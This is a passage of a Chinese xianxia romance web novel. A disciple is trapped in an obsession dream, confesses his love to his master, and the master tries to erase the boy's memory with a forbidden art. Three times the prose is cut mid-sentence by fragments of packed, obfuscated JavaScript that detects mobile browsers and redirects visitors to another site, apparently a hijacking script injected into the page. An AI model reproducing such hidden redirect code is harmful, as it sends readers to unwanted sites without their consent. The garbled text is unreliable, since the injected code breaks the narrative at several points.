是的,他还是拿了一根师父的头发出来贴身放着。 喻连用灵力将这根头发送入姻缘树,头发化作飞灰,姻缘树摇曳着,一些碎片光点落在喻连身上。 他闭上眼睛。 【叮!触发关键人物谢久白的情丝因果。】 【片段一:年少比试】 【片段二:情花入骨】 【片段三:执念疯魔】 【是否全部查看?全部查看可解锁关键人物有关的所有任务目标。】 喻连精神一震:【是。】 他的神念顿时被抽离,一些片段飞过识海。 [片段一] [年少比试]: 年少的谢久白手持长剑,剑尖直指对面一身白衣的少年:“这次平局。” “下次就不是了。”白衣少年冷淡收剑,“同辈之中,你是唯一一个能跟我战成平手的,我叫祝余草,你有资格知道我的名字。” 谢久白:“祝余草。” 祝余草回头。 谢久白淡淡道:“好难听的名字。” 祝余草:“……” [片段二] [情花入骨]: 邪气冲天的暗谷之中。 谢久白半身浴血,半跪喘息,剑尖抵在地面。 “一人就能绞杀落冥教的十二主坛之一,”阴冷虚弱的声音压着怒气,“杀了冥主那么多信徒,成长起来必定是大患,我就算死了,也不会叫你好过!” 砰! 邪修自爆的刹那,紫色的犹如雾气般的种子将谢久白淹没。 他昏迷过去的瞬间,种子扎入他的身体,一瞬开出了密密麻麻的紫色小花,这些花开有七瓣,娇嫩而妖异,最后隐没在谢久白体内,再也寻不见踪迹。 “……痴情花,会让你虚假的爱上一个绝不会爱你的人,看不清自己的心,痴情错付,姻缘错缠。谢久白,这是本坛主给你的诅咒……” 残骸遍地的暗谷在许久后迎来了援兵。 祝余草来到了昏迷的谢久白身前,“死了?醒醒。” 谢久白睁开眼。 痴情花的花种印着祝余草的影子,在他心里生根。 他许久没说话,祝余草皱眉,朝着援兵喊道:“仙宗的人在哪?你们宗的大师兄神志不清,像是傻了。” 几十年后。 与谢久白亲近的人都知晓了他的心思,兰泊风笑他单相思。 祝余草是扶阳药尊的弟子,是碧云天一众药修里的唯一一位剑修,一心向道,不喜欢男人。 谢久白从没有表露过自己的心意,只是此后祝余草接的任务,都会有他的身影。 [片段三] [执念疯魔]: 沧山。 青色剑芒几乎撕裂苍穹。 挥出惊天一剑的祝余草神魂俱散,只剩一具尸身。 谢久白疯了三百年,收集四散的神魂,寻求复活之法。 …… 【姓名:谢久白 身份:仙宗首尊 任务目标:成为谢久白真正的情劫,查清其爱上祝余草的真相,破除痴情花,并帮助谢久白复活祝余草。 命运修复值:-12%】 残缺的任务目标被补全,命运修复值一下提升到了-12%。 喻连盯着面板思忖许久。 痴情花……印象里似乎在哪本古书里看到过。 他看过的东西辅助系统都会记录下来,在搜索框里搜索,痴情花的信息跳了出来: 【上古之花,失传许久。种此花之人会虚假地爱上一个不爱他的人,所有真正的悸动和情愫都会转移到那个不爱他人的身上。】 也就是说,就算谢久白爱上别人,他也察觉不到,因为所有的情动和爱意都会转移到祝余草的身上。 他有多爱别人,就会更爱那个死去的人。 喻连…… 喻连有点兴奋了。 怎么这样?! 他有时候自己编剧情修补世界,都编不出这么狗血的设定。 有种遇到同道中人的兴奋感。 而且看情况谢久白被痴情花寄生得很严重了,一般的办法解决不了,否则天道早就想办法给他拔掉,不会等他这个命运司的人来解决。 怪不得任务第一句就是让他成为谢久白真正的情劫。 完美主义让他在解锁谢久白的全部的相关任务之前,没做过太出格的事情,老老实实当个好徒弟,藏着掖着搞点小动作罢了,没让谢久白察觉他的心思。 现在来看完全正确。 谢久白这样的人,骨子里淡漠高傲,心里笃定自己已经有了‘深爱’的人,就绝不会因为一个小孩幼稚的手段而心动。 况且修仙界中,男男相恋不少见,但尊师重道风气肃穆,师者如父如母,师徒恋乃是禁忌。 喻连本人喜欢占据感情中的主动地位,掌控别人的情绪。师徒禁忌之下,情况不明主动出击,会让自己很被动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102411|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但现在情况已明,被动的只会是他这位师尊。 喻连关掉辅助系统。 虽然暂时不知道痴情花如何破解,但已经可以先放手攻略谢久白了。 - 姻缘树下的少年慢慢睁开眼。 老妪飘了过来:“如何?你看的谁的,你自己的还是别人的?” 喻连眼也不眨地说谎:“自己的。” 老妪:“当真能看见自己的情丝因果?” 喻连说:“你不是清楚姻缘树的本事吗?” 老妪:“你是姻缘树和转生石结合之后,第一个来探情丝因果的人,我好奇,想问问,不行?” 在三岁的时候,喻连听到扶阳药尊给谢久白讲过的一个故事,至今记得: 【古籍记载,轮回破灭前,轮回岸有一株草被仙人点化,由婴灵化人,生出灵智,心蕴金珠,禁制天生,万邪莫近。 后来这株草动了心,心窍禁制便对她心悦之人失了效用。她爱人知晓后,剜走了她的心窍,失去心窍后她情况如何没有清晰记载,但确实还活着,只是不知所踪,传言她距离飞升只有一步之遥,却败在了情劫面前。】 世间没有那么多巧合,眼前疯疯癫癫的人,八成就是故事里的那株草。 若真是如此,激怒她想必很容易。 喻连:“其实我看的不是很清楚。” 老妪:“嗯?” 喻连摸了摸自己的心口,想了片刻皱眉说:“算了,这姻缘树也不一定准。” 老妪看见他这个动作,莫名沉默,“我好心跟你说了这么多,你连你看见了什么都不告诉我。” 喻连犹豫两秒:“……其实也没什么,我没看见别的,只在姻缘树片段里看见了自己,但是,心脏的地方跟你一样,也是空的。” “想来荒诞,我是人,跟你这种游魂状态不同,没了心脏哪里还能活?估计是神魂错乱产生的幻觉。” 老妪笑吟吟的样子消失不见,低下了头。 眼底的神色在疯癫、清醒和痛苦之间来回变换。 最终她一把抓住了少年肩膀,冷冰冰地说:“既然你的下场也是如此,不如我帮你一把。” 她抬手一挥。 转生石和姻缘树光芒大绽! 树枝上摇曳的祈愿红绸直直飞下,圈住喻连的手腕,将他吊在了树上。 少年挣扎:“你干什么!” 老妪阴冷道:“送你一场执念圆满的梦境,小娃娃,在这里死去,你会感激我的。” 语罢又一挥手,喻连浑身一僵,渐渐闭上了眼。 火老大的攻击对老妪无效,它的怒骂就没有停止过,看喻连昏迷忍不住越来越怕,它绷住嘴巴,想把这棵树一把火烧干净。 老妪道:“想让他死,你就烧。” 火老大不敢烧了:“你到底想怎么样!” 老妪闭眼。 火老大又怒又担忧,它身形逐渐变淡,篝火旁给喻连暖身体耗费了时间,每天三个时辰的化形时间就要结束了。 它绕着喻连,眼见忘川的冰寒上涌,少年身上慢慢覆盖了寒霜,没绷住,哇地一声大哭出来,喊了最讨厌人的名字: “谢久白你在哪!阿连要死掉了呜呜哇哇哇——!!!” 火浪的声波极具穿透力,周遭空间隐隐一荡。 正在寻人的谢久白倏的抬头。 13.第 13 章 一刻钟前。 谢久白出现在河岸。 他从兔子体内出来,分魂有一刹虚幻,但很快再度凝实,眼前的黑色长河对魂体克制格外大。 “忘川残骸?” 怪不得外面会流窜出腐朽的七情六欲之气,原来源头在这里。 他瞬移至空中,俯视此地。 此地有御空禁制,但还不至于能限制他。 明明感受到了喻连的气息,但是周围却看不见少年的身影。 一桩孜云州姻缘树奇闻,竟牵扯出来了忘川残骸。 谢久白来到河中央的姻缘树下,伸手一探,无形的波纹朝四周蔓延。 以姻缘树为中心,有一道空间锁,将此处空间分成了四份。 谢久白微微眯了眯眼,掌心冰寒灵力汇聚,却在凝成的那一瞬顿住,淡漠的眼底罕见闪过一抹迟疑。 直接粉碎空间锁并不是稳妥找人的办法,若是不慎引起忘川暴动,反而伤了喻连…… “谢久白你在哪!阿连要死掉了呜呜哇哇哇——!!!” 穿透力极强的童音哭喊声波越过空间锁,将将要散去的灵力刹那重凝,谢久白目光一霎冰寒,铺天盖地的冰霜瞬间爬满了此地空间,他五指微微一弯。 轰! 空间锁蓦地碎裂! 被分割成四份的空间顷刻间合成一块。 久寻不到人的祝不死正艰难在黑色大河之中跋涉,只觉得周遭本来就冷的环境犹如瞬间进了冰窟。 低头一看,刚才还翻涌不息的黑色河泥竟隐隐有了结冰之意。 他心头骇然:“好暴虐恐怖的灵力……” 祝不死抬袖掩面,挡住灵风裹挟的空间碎片,他看不清远处姻缘树下的场景,却瞥见离他二十米开外的地方,一个穿着开放的男人闭眼静立。 他惊道:“尉迟临川!” 他往那边挣扎了几步,噗通一下脸朝下摔倒,咕嘟咕嘟几下都没起来:“救……” 无数碎片静止一息,便猛然爆炸。 姻缘树下的老妪睁开眼,抬头望去。 一抹素色的衣摆出现在空中,银灰色头发的仙尊身形渐渐显露,谢久白一眼就看见了被红绸吊在树上的喻连。 下一秒,他就出现在了喻连面前,割断了红绸,抱着少年到了树下。 谢久白半抱着他,低声道:“喻连?阿连?” 少年昏睡不醒。 火老大早已回到了喻连体内,无法询问到底发生了何事。 他握着喻连的手心,慢慢将灵力渡进去,引喻连自己的灵力在体内运转周天,抵御寒气,一边缓慢抬眼,银灰色的浅眸望向了老妪。 恐怖的杀意一刹笼罩了整片空间。 老妪注视他片刻,才说:“你想杀了我。” 谢久白指腹轻轻拂去喻连面上的冰霜,平淡道:“言重了,老人家。这是我徒儿,烦请告诉我他怎么了。” 老妪反问:“你知道他的身份吗?” 谢久白看见了她心口的空洞,他视线微微一顿,像是没听见老妪的问题般。 老妪:“看来是知道了。也是,能以魂体在忘川行走的人,修为定然极高。他天赋很不错,但是神魂本体孱弱,想来很不好养,是你将他养大的?” 谢久白:“是,他是我一手养大的孩子。告诉我,他怎么了?” 老妪感受着震颤不已的忘川残骸,暗道后世倒是出了个修为高深的小辈。 她又看了眼那昏迷的少年,她其实知晓自己疯癫,受刺激就会做出发疯的事,方才将这同类小孩关入执念梦境里,关完了就有点后悔。 原想入他梦里将他拉出来,没成想引来了人家家里撑腰的长辈了。 看这白发男人的如此在意的情态,全然不似作假,这小娃娃倒是有个一心为他的师尊,运气比她要好。 到了嘴边的谎话变了,她如实道:“陷入了一场梦罢了。” “什么梦?” “执念之梦,现实里他不敢的,梦里他敢,现实里无法实现的,梦里他都会实现。” “如何解。” “魂入他梦,助他执念圆满,圆满之际,将他唤醒。” “若解不了呢。” “自然只有一条死路。” 谢久白朝着忘川一抬手,灵力一卷,河中飞上来两个人。 祝不死呸呸呸了好几声爬起来,尉迟临川摔在地上,依旧昏迷不醒。 “谢…谢仙尊?”祝不死抹了把脸,错愕的看着姻缘树下的男人,“您怎么会在这里,我——喻连?!他怎么了?” 谢久白没看祝不死,他只是随手将他们救上来而已,三层阵法以他为中心,封锁了姻缘树周围。 他习惯性地给喻连整理了一下头发,又在他身上施了个清尘术,清掉他靴子上的淤泥:“他没事,等会儿就会醒来。” 执念梦境不知要过多久,万一期间火老大从喻连体内苏醒,看见他出现在这,他跟喻连出来历练的事恐会露馅。 谢久白又施了个禁咒,让火老大在喻连体内持续沉睡几日。 所有事都做完,一缕神光从他眉心飞出,没入喻连识海之中。 祝不死见喻连有人管了,压下担忧去看尉迟临川,一看之下大惊失色:“临川兄!” 怎么好像有点死了?! - 执念梦境。 谢久白走出雾气弥漫的地方,眼前景色逐渐清晰。 是孤渺峰半山腰,喻连的小院。 小院外有个不甚明显的牌子,上面写着:[喻连、师父、火老大和清渠的家]。 孤渺峰山顶,谢久白住的地方也挂着这样一个小牌子,写的是:[喻连和师父的家]。 喻连依旧穿着那身烈火祥云纹的特制仙宗弟子服,背着手站在小院中,脚尖时不时一踮,高马尾晃动着,嘴中哼着不知名的小曲。 似乎是听见了脚步声,少年高兴回头:“你来了,师父。” 喻连嘴角上扬。 终于来了,好师父。 准备好迎接这一场徒儿为你打造的执念梦境了吗? 谢久白不清楚喻连执念究竟是什么,嗯了声:“来了。” 喻连:“那我们走吧!” 谢久白也不清楚要去哪,“你带路。” “好。”喻连走到前面,带着谢久白去了仙宗脚下的飞仙镇。 这里不仅有凡人,还有不少仙宗弟子,手中提灯,谈笑夜游。杂役弟子和外门弟子若是天赋到头,也会搬到这里生活,繁衍生息。 很少人见过谢久白,但不少人知道喻连。 少年只是从桥头走到桥尾的功夫,手中就收了一把糖人,一堆香囊,头上被人乱七八糟的戴了很多绚烂的花,一叠声的‘大师兄’‘小师叔’。知道他年纪小,还偷偷摸摸塞了些新奇玩具给他。 喻连好不容易挤过人群,把这些东西转移到储物袋,拽着谢久白就跑。 后面远远传来大喊:“小师叔!三日后九州台大比,咱们都去给你撑场子!” 谢久白:“九州台大比?” 梦境里的时间线,竟然是在两年后么。 喻连躲到了角落里,满头大汗的探头看了看周围,舒了口气后缩回来,靠在身后的墙上:“是啊。大比之后便是我十九岁的生辰,师父,你有准备我的生辰礼物吗?” 谢久白:“还没到时间,就同我讨要?” 喻连说:“要准备两份哦。” 谢久白:“两份?” 喻连挑眉:“就是两份,还有我赢得九州台大比的那一份贺礼。” 谢久白:“既然如此,不如一礼两贺。” 喻连脸垮了下去,幽幽道:“不可以。” 少年拽着他衣角晃,“师父,我想要两个……”他两手的拇指食指撑住眼皮,撑大眼睛,凑到他面前,可怜巴巴的撒娇,“师父——你但凡看看你可怜徒儿的眼睛,就知道他有多期待他最好最好最好的师父的礼物。” “两个哦,是两个哦。”他强调。 谢久白微微垂头,嘴角轻弯:“若你九州台大比没有胜呢。” 他很少笑,喻连盯着他看了一会儿,才道:“一定会的。” 谢久白:“为何这么想赢。” 喻连是他一手养大的,为此他被迫学了许多技能,缝补衣物做饭整理归纳自不必说,同时他也很清楚喻连的性情。 他很爱面子,因为周围人的宠溺,爱对亲近之人撒娇,在生活方面习惯差了些,缺少历练和耐性。 也因为自小什么都不缺,他好胜而不一定必须要胜,看得开,洒脱随性。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107036|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你对他好,他返还给你更多好,你对他坏,若对他没什么真切妨碍,他便不会计较。 但似乎也没有太遥远的梦想,太坚定的目标。 旁人并不清楚,喻连打败所有仙宗同龄人的根由,其实不是所谓的好战,只是因为火老大刚刚产生灵智的时候,喻连非常高兴地带它在宗门内溜达,被不知他们身份的弟子嘲笑那么小一点火苗,却让别人叫它老大,好不知天高地厚。 喻连就跟人打了起来,打败了那人后,压着他的脑袋让他喊了火老大一百声老大,放话说:“只要你是我手下败将一天,你就得喊它老大。” 此后几年一直打,打到同辈中人无人不服,打到比他入门早的师兄全都成了师弟,打到无人见了火老大不敢叫一声‘老大’。 谢久白从没听他说‘我一定要成为仙界第一人’‘我要成为镇守一方的仙尊’‘我要证我所修之道’这种话。 他见得最多的是喻连在仙宗大呼小叫的上蹿下跳,听得最多的就是‘师父我明天要吃藕夹茄夹’‘哎呀师父,火老大真的没说你坏话,它夸你呢!’‘师父我明天晚点修炼,想睡懒觉,爱你师父,夜安……’ 摇曳着烈火祥云纹的悠闲背影,像是一朵飘在水中的莲,没有根须也没有终点,飘荡在世间,不会永远为谁停留。 谢久白一度觉得,这或许是天材地宝化形之人的特质。 可他现在在喻连眼中看见了以前从没见过的认真。 “为什么想赢?” 喻连松开谢久白的袖子,转而牵住了他的手,带着他去了飞仙镇最高的塔顶。 少年俯视整个飞仙镇。 “师父你看。” 谢久白顺着他视线望去。 整个飞仙镇张灯结彩,卖的是‘大师兄天下第一’‘小师叔必胜’的娃娃,赌坊热火朝天,仙宗弟子拿出压箱底的灵石,骄傲地压了他赢,有一队人慌慌张张的穿梭在大街小巷:“诸位诸位!收到消息,喻师兄下山了!赶紧收了,咱别给喻师兄压力,快点快点!” 夜风吹来,喻连没觉得有丝毫压力。 “师父,我可是把他们打服了的大师兄,小辈们眼里最强的小师叔,我输了,就是他们输了,就是承认了仙宗此代弟子不如别的仙门。” “区区一个九州台大比,赢了,让家里人都高兴高兴,我也好收礼。” 少年墨发轻扬,年轻的脸上满是意气风发,谢久白有些出神,他徒儿在仙宗小辈之中名气如此之高,也不全是因为脸和实力,他身上某些说不上来的特质确实令人的目光难以从他身上挪开。 谢久白:“很有信心?” 喻连侧眸看他,理所当然道:“我可是谢久白的徒弟。谢久白是第一,他的徒弟,当然也必须是第一。” 谢久白哑然。 喻连牵着他的手,在塔边缘坐下,双腿在空中晃荡。 目光游曳,嗯了半天才说:“师父,你给我准备一个贺礼就好了。第二个贺礼,我能不能换成一个请求?” “真是多变。” 谢久白微探过身,轻轻抬手,摘去了喻连发边的一片花瓣,顺手理了一下少年被挤乱了的衣领,“说吧,什么请求。” 喻连双眼发愣,直勾勾看着谢久白。 “你对我真好,师父。”半晌,喻连才扭过头去,盯着自己乱晃的脚尖,“师父,你长得这般好看,方才也该有人给你送花才对。” 谢久白也不知话题怎么就跑到这里来了,看了眼自家徒弟的脸,实话实说:“没有你好看。” 喻连无意识攥紧了谢久白的手。 谢久白:“喻连,你手心出汗了,是紧张九州台大比么。” “……没有,师父。”喻连怕被看出什么,抽出自己的手,从自己头上摘下来一朵花,“这朵花给你。” 晚风拂过,吹来下方的平凡热闹,发红发烫的耳尖伴随着擂鼓般的心跳。 悸动的情愫的心在微风里跃动。 谢久白捻着指尖的那朵花,也在想。 用九州台大比获胜换他应允的那个请求,应该就是他徒弟的执念了吧。 会是什么? 想了片刻实在想不到,他索性不再想。 身为仙宗的仙尊,五大仙门,九州天下,只要喻连想要,没有他真正办不到的事。 14.第 14 章 梦境倏然加速。 转眼到了九州台青云宴的风云大比。 许是喻连没去过九州台,不知道那里是何模样,所以梦境之中也没有显示。 谢久白只是一个晃神,就又回到了仙宗。 仙宗欢庆的声音喧嚣无比,在庆祝喻连在大比夺得魁首,一举扬名九州,力压当代天骄。 兰泊风宣布喻连成为下一代仙宗宗主继承人,若不愿执掌宗门,也可闲云野鹤游历天下,或者跟他师父一样修至问劫,成为仙尊,镇守仙宗。 喻连没有当即做出选择,而是上山找了谢久白。 “师父,我来找你要你答应过我的请求了!” 谢久白:“嗯。想要什么。” 少年双手背后,在后腰擦了擦自己冒汗的掌心,“师父,跟我来。” 他带着谢久白来到了自己半山腰的小竹屋内,在自己床头翻找片刻,找到了带锁的木盒。 把里面的东西一件件摆在了屋里的小案上。 几张手帕、腰带、发带、毛笔…… 谢久白看去,只觉得那些东西有些眼熟。 他此时还有心情闲谈:“似乎都是我的旧物,你藏这些作甚?” 喻连:“师父,你还记不记得,我十五岁那年告诉你我喜欢男子么。” 谢久白:“记得。” 喻连十五岁生辰那天,喝得醉醺醺,他平时不被允许喝酒,也只有生辰当天可以少喝点。 当时兰泊风也在,峰顶的小院子里坐着他们三个人。 喻连喝醉了,耍赖抱着谢久白的腰,滚烫的脸蛋在他腰侧蹭来蹭去。 谢久白正打算将他抱去房中睡,却忽然听见一句呢喃:“师父,我喜欢你…你这般的男子。” 他养大的孩子抬起头,侧脸绯红,眸底波光滟潋。 谢久白与兰泊风对视了一眼,不动声色地低下头,抚摸喻连的头发,不紧不慢地说:“是怎样的喜欢。” 少年懵懵呆呆了好一会儿。 谢久白耐心问:“可是遇见什么人了?” 少年依旧呆头呆脑。 半晌,才委屈巴巴说:“就是,做了好奇怪的梦,梦里我在…嗝……在亲一个男人,冷冷的,我亲完他,他就亲了我。我醒来之后,裤子湿湿的,我没敢让师父洗那条裤子,我……” 他说得乱七八糟,在场其他两个人却全听懂了。 原是一晌春梦。 谢久白一时默然,盯着怀里呆呆傻傻的徒弟,不知说什么好。 兰泊风端起酒杯,掩住唇角的笑,他看谢久白难得窘迫的神色,最后实在没忍住,哈哈大笑,数落道:“你这师父怎么当的?这个年纪的半大男孩,多少也该知道些,你怎不教教他。师父师父,如父如母,你当了人家师父,也该负起责任来。” 他对喻连道:“好师侄,喜欢男人没什么,仙宗不禁这些,只是,可别是又一个单相思。” 谢久白截住他的话头:“师兄。” 兰泊风笑叹起身:“好好,我不说了。你教他罢,我先走了。” 院子里只剩他们两个人。 谢久白被耍赖的喻连抱着,实在脱不了身。 他无奈道:“喻连,该去睡了。” 喻连双臂搂住谢久白的脖子,“师父,我是看了一本书才会做那种梦的,你帮我看看,那书是不是有邪气?” 谢久白:“……” 喻连指挥着火老大找来那本书,窝在谢久白怀里,堂而皇之地打开,素白的指尖戳着中间某一页,“你看!师父你看!” “噫噫噫!他们竟然这样!” “哇哇哇!他们还这样,你看,师父你快看!” 指尖在书页上戳戳戳戳,举着书恨不得塞谢久白眼里。 谢久白:“…………” “谁给你的书?芙元?” “谁给我的?”喻连朝他勾勾手。 谢久白附耳过去。 喻连小声说:“我不会告诉师父这书是我偷来的。” 翻书的人酒疯劲儿彻底上来了,说完就躺在他臂弯里嘎嘎乐,过了会儿又扯着他的袖子呜呜哭,嘴里喊着‘我怎么能这样’‘我不是个东西’‘师父啊师父’,着实疯得厉害。 谢久白把书烧了。 这次语气带了命令的意味:“去睡觉,明日同你讲一讲书中之事。” 喻连:“不要。” 谢久白:“那你要什么。” 醉了的人想一出是一出:“去吹风。” 谢久白指尖亮起灵光,想将此徒送入梦乡。 喻连抓住他的手指,可怜兮兮:“师父,今天入伏,是我的生辰。” 谢久白指尖灵光散去,许久叹了口气,醉成这样自然也走不了路,他便没去捡少年踢掉了的靴子,而是抱着他站起来。 “去哪里吹风?” 喻连高兴了,在他臂弯里晃着双腿:“山上,林子里,都可以。” 谢久白抱着人在山上山下走了一圈,喻连只是打了个哈欠:“有一点想睡了,但还要听师父说话才能睡着。” “想听我说什么。” “随便啦。” 随便二字最难应付。 山涧清泉流淌,月色漫过树梢。 谢久白低头看着少年闭着眼,面颊酡红,满脸依赖靠在他胸膛的模样,不由得恍然一瞬,念道: “月光光,照地堂,虾仔跳,禾苗长。” “萤火虫,当灯笼,挂床头,阿娘摇扇唱童谣,篱笆下,蝈蝈悄声叫……” 这哄人睡觉的童谣从他四五岁时就管用,念了几遍,喻连酣然睡去。 第二天,不等他教喻连书中之事,大清晨的就听见一声惨叫,少年以头撞床,痛苦无比,碎碎念道:“我昨天都做了什么啊。” 谢久白站在门口:“喻连?” 喻连颤巍巍回头,抬起来抖着的手指:“师父,你手里拿的什么?” 谢久白袖口卷着,手上散发着皂角香味的衣服还在滴答滴水,显然是听见动静瞬移过来的,他淡然道:“你藏起来的那条裤子,刚洗完。” 少年又是一声惨叫,披着被子在床上一滚,缩了起来。 没多久,喻连就闹着要去搬到半山腰了,一搬就是两年过去。 飘远的思绪回笼,谢久白问:“继续说。” 喻连磕磕绊绊地道:“我,我其实一直没敢说,我梦里的那个人,我知道是谁。” 谢久白眸色渐深:“你想告诉师父,你有喜欢的人了,而且从十五岁就开始喜欢了,是吗?” 喻连点头。 谢久白:“是谁?宗内的?” 他脑中闪过几张脸,都是跟喻连有过交集的兰泊风的弟子。 真是好胆子,那时喻连才多大,就引着他生出那种心思,他心中存了重罚的念头,语气却淡而温和:“跟师父说,不要怕。” 喻连跪坐到小案的一侧,闭了闭眼,眼睫颤抖得厉害。 他打开一方叠得十分规整的手帕,手也在竭力抑制颤抖:“我喜欢的人,在这里。” 手帕里,两缕发丝纠缠,一缕银白,一缕乌黑。 谢久白视线定格在那两缕头发上,表情有一瞬空白,他在心里问自己:“怎么可能?” 喻连攥紧了衣袍,眼一闭心一狠,不敢见光的心思全都抖搂了出来:“我喜欢你,师父。是想和你琴瑟和鸣,鹣鲽情深的那种喜欢,是男女之爱,是情欲之思,是大逆不道,是违逆人伦的那种喜欢。” “我十五岁懵懂时就喜欢你,我十七岁去孜云州之前,割断了你一缕发丝,与我自己的缠在一起,然后将它们藏进你用过的手帕里。我以为这辈子都不会将它拿出来,更不会表露自己的心意,我很害怕、很害怕你赶我离开仙宗。” “我知道,想让师父喜欢上我,跟痴人说梦无异,所以我的请求便是,请师父不要逐我出宗,给我一个机会,将我当成喜欢你的人来看,好吗?” 少年闭目等了许久,感觉到头顶落下个温暖的掌心。 喻连惊喜抬头,撞上谢久白冰冷神色的那一刻,浑身一僵:“师父……” 谢久白抚摸他头发的动作依旧温和轻柔,“喻连,你说错话了。” 喻连心里莫名一冷,却依旧坚定道:“师父!我不是非要你喜欢我,我只是想让你知道我喜欢你。我想要一个追求心悦之人的机会,我会努力修炼,修炼到最强,届时就算我向全天下说我喜欢你,也不会有人说半个不字。” 谢久白蹲下来看着他,轻声说:“将你说的收回去,我可以当做没听到。” 喻连:“师父对我只有师徒之情,是我心生妄念,全然与师父无关。可是师父,人的情感是没办法控制的,我会努力追求你,喜欢你,直到有一天你也喜欢——” “不会。” 谢久白:“我永远也不会喜欢你,不会对自己的徒弟有难堪的情欲。” “……” 饶是知晓会被拒绝,喻连的心还是被谢久白话音里的冷淡决然和‘难堪’二字刺痛了。几秒后,他揉了揉泛红的眼角,收拾好心情,又对着谢久白露出一个笑:“没关系,我喜欢师父就好了。” “喻连,你没有听懂我的话,”谢久白指腹落在他揉红了的眼角,“你不该喜欢我,也不能喜欢我,听师父的话,换个执念吧。” 喻连可以喜欢上别人,他可以喜欢任何人,甚至是那个袒胸露乳的尉迟太子,又或者那个倒霉蛋和结巴。 唯独不能是他这个师父。 在谢久白的计划里,等喻连爱上他为他挑选的夫婿,他就会控制那人剜走喻连的心窍,那这段感情自然而然就会破裂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110930|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他会把祝余草复活,也会把喻连养好。 喻连永远不会知道是他在背后操纵,他的徒弟会远离那个挖走他心窍的男人,重新回到他身边,然后变回那个叫了他几年父亲,喜欢他、仰慕他的徒弟。 他们依旧是师徒。 可一切一切的想法和计划,如今都在喻连表露心迹之后化作飞灰。 这是他决不允许出现的意外,在梦境中也不可以。 谢久白并指点在喻连眉间。 喻连心中一冷,立马想退:“师父!” 谢久白另一只手攥在他肩膀上,“阿连,闭上眼。” 喻连意识到他想做什么,“我不要!我不要!我不——” 庞大的灵力涌入喻连脑海,禁术修改着少年的记忆,有关‘情爱’的一切相关,全部抹去,换成了那几个人里他看得还算顺眼的九穗痴。 喻连的眼睛渐渐失去了光彩。 谢久白道:“你喜欢的人是九穗痴。” 喻连茫然重复:“我喜欢的人是九穗痴。” 谢久白摸着他的脸,擦去他眼角的一抹泪,轻轻道:“好,师父把他抓来。” 他正欲去问苍剑冢请人,却听见身后一声难忍的痛哼。 谢久白转身。 只见方才还好好的人,心口赤金光芒亮起,禁制波动,赤阳丹心竟遵循主人的意志,死死抵抗那正在修改他记忆的术法。 两股力量相冲,喻连闭目后仰。 他失去了意识之后,梦境开始飞速扭曲。 谢久白没能接住后仰昏迷的喻连,一晃眼,就发现自己又站在了半山腰的小院前。 喻连蹦蹦跳跳过来,“你来了,师父。” 谢久白:“……” 喻连笑吟吟道:“那我们走吧!山下现在可热闹了。” 竟又回到了梦境的最开始。 谢久白没动。 喻连疑惑:“怎么了,师父?” 谢久白拂开他的手,道:“一直没有告诉你,师父有喜欢的人。” 他清晰地看见了少年愣在了原地。 喻连有些手足无措,他抓了抓自己的头发,“哦哦,这样。很正常吧,师父活了这么久,有喜欢的人,多正常?你突然跟我说这些做什么,是师父喜欢的人要来孤渺峰住?用不用我收拾个地方出来?” “不必。”谢久白道,“我听到了他的消息,要去找他,以后就不来孤渺峰了,喻连,我要走了。” 他抬手将少年鬓边的乱发别在耳后,低声说:“这次去九州台,你若遇见喜欢的人,告诉师父,嗯?” 喻连呆了一会儿,鼻尖开始泛酸:“怎么这样,九州台你也不陪我。”他摆出惯常撒娇的那副姿态,小心扯住谢久白的手指,“师……” 谢久白又一次拂开他:“我不想让他等。” 少年伸出的手在半空顿了一秒,空空落下。 喻连心里很难过,又很委屈,这对他来说太突然了,所有年少依赖和旖旎情丝有种无所依从的漂泊感。 但他又无法说出阻止的话,只胡乱抹了把眼睛,“师父,你还回来吗。” 谢久白:“不知道。” 几乎是他话音刚落,喻连就道:“我等你回来。” 他重复:“我会等你回来的。” 谢久白默然。 篡改记忆不行,那漫长的时间总可以遗忘一个人。 喻连年少,十来岁的小孩,执念和喜欢都会在时间里消磨殆尽——直到现在,谢久白仍旧没有完全相信喻连喜欢的人是他。 或者说,他不相信年少之人浅薄的爱,能跨越最无情的时间。 谢久白走了。 喻连独自在院中站了许久,擦了擦眼泪,面无表情地参加了九州台的大比。 他依旧夺得了第一,声望在宗内弟子之中达到最高。 渐渐地,他恢复成了往日的模样,嬉笑怒骂,整日跟火老大四处玩耍,转眼过了百年。 兰泊风想退位了,招了喻连去主峰后山。 “一百年都没有下过山,喻连,跟着师伯一起下山走走吧。” 喻连道:“师伯,我实在懒得出门。” 兰泊风沉默良久:“你师父他……” 喻连:“师伯,你将宗主之位传与我吧。宗主继位人选不挑修为,达到元丹境即可,更看重能力威望和品格,师伯,我可以。” 